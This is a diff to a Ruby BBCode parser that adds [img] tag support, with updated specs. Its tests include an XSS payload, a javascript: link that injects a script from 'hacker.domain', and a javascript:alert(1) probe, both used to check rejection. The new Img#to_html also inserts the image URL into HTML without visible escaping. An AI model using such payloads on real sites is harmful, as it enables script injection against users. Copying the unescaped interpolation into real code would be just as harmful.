images!

bristlecode.rb

@@ -4,9 +4,10 @@ require 'sanitize'
 module Bristlecode
 
   Config = Sanitize::Config::freeze_config(
-    :elements => %w[b em i strong u a strike br],
+    :elements => %w[b em i strong u a strike br img],
     :attributes => {
-      'a' => ['href']
+      'a' => ['href'],
+      'img' => ['src'],
     },
     :add_attributes => {
       'a' => {'rel' => 'nofollow'}
@@ -34,9 +35,6 @@ module Bristlecode
   end
 
   class Parser < Parslet::Parser
-    rule(:space) { match('\s').repeat(1) }
-    rule(:space?) { space.maybe }
-
     rule(:bold_open) { str('[b]') | str('[B]') }
     rule(:bold_close) { str('[/b]') | str('[/B]') | eof }
     rule(:bold) { bold_open >> children.as(:bold) >> bold_close }
@@ -62,16 +60,29 @@ module Bristlecode
     }
     rule(:url) { (simple_url | url_with_title).as(:url) }
 
+    rule(:img_open) { str('[img]') }
+    rule(:img_close) { str('[/img]') }
+    rule(:img) {
+      (
+        img_open >>
+        (
+          (str('http://') | str('https://')) >>
+          (img_close.absent? >> any).repeat(1)
+        ).as(:src) >>
+        img_close
+      ).as(:img)
+    }
+
     rule(:eof) { any.absent? }
-    rule(:tag) { bold | italic | url | linebreak }
+    rule(:tag) { bold | italic | url | linebreak | img }
     rule(:elem) { text.as(:text) | tag }
-    rule(:tag_open) { bold_open | italic_open | url_open | url_title_open }
+    rule(:tag_open) { bold_open | italic_open | url_open | url_title_open | img_open }
-    rule(:tag_close) { bold_close | italic_close | url_close }
+    rule(:tag_close) { bold_close | italic_close | url_close | img_close }
     rule(:tag_delim) { tag_open | tag_close | linebreak }
 
     rule(:text) { (tag_delim.absent? >> any).repeat(1) }
-    rule(:children) { space? >> elem.repeat }
+    rule(:children) { elem.repeat }
-    rule(:doc) { space? >> elem.repeat.as(:doc) }
+    rule(:doc) { elem.repeat.as(:doc) }
     root(:doc)
   end
 
@@ -82,6 +93,7 @@ module Bristlecode
     rule(doc: subtree(:doc)) { Doc.new(doc) }
     rule(url: subtree(:url)) { Url.new(url) }
     rule(br: simple(:br)) { Linebreak.new }
+    rule(img: subtree(:img)) { Img.new(img) }
   end
 
   class Doc
@@ -102,7 +114,7 @@ module Bristlecode
     attr_accessor :text
 
     def initialize(text)
-      self.text = text.to_str.strip
+      self.text = text.to_str
       Bristlecode.clean(self.text)
     end
 
@@ -164,4 +176,16 @@ module Bristlecode
       "<br>"
     end
   end
+
+  class Img
+    attr_accessor :src
+
+    def initialize(img)
+      self.src = img[:src].to_str
+    end
+
+    def to_html
+      "<img src=\"#{src}\">"
+    end
+  end
 end

spec/bristlecode/parser_spec.rb

@@ -14,7 +14,8 @@ module Bristlecode
     end
 
     it 'handles empty documents' do
-      expect(to_html("      \t   \n    \n     \t")).to eq("")
+      text = "      \t   \n    \n     \t"
+      expect(to_html(text)).to eq(text)
     end
 
     it 'handles special chars' do
@@ -37,12 +38,12 @@ module Bristlecode
 
     it 'can nest tags' do
       doc = '[b] bold [i] italic [/i] bold [/b]'
-      expected = '<b>bold<i>italic</i>bold</b>'
+      expected = '<b> bold <i> italic </i> bold </b>'
       out = to_html(doc)
       expect(out).to eq(expected)
 
       doc = '[i] italic [b] bold [/b] italic [/i]'
-      expected = '<i>italic<b>bold</b>italic</i>'
+      expected = '<i> italic <b> bold </b> italic </i>'
       out = to_html(doc)
       expect(out).to eq(expected)
     end
@@ -74,9 +75,28 @@ module Bristlecode
       expect(to_html(input)).to eq(output)
     end
 
+    it 'allows subtrees in <a> tags' do
+      input = '[url=http://google.com]this is [b]the[/b] google[/url]'
+      output = '<a href="http://google.com" rel="nofollow">this is <b>the</b> google</a>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'rejects bad url protocols' do
+      input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
+      expect { to_html(input) }.to raise_error
+
+      input = "[url=ftp://whatever.com/etc]warez[/url]"
+      expect { to_html(input) }.to raise_error
+    end
+
     it 'renders a linebreak' do
       expect(to_html('[br]')).to eq('<br>')
     end
+
+    it 'handles images' do
+      input = '[img]http://example.com/cat.gif[/img]'
+      expect(to_html(input)).to eq('<img src="http://example.com/cat.gif">')
+    end
   end
 
   describe Parser do
@@ -190,5 +210,17 @@ module Bristlecode
         expect(parser.linebreak).to parse('[br]')
       end
     end
+
+    describe '#img' do
+      it 'accepts valid image urls' do
+        expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
+        expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
+      end
+
+      it 'rejects bad protocols' do
+        expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]')
+        expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]')
+      end
+    end
   end
 end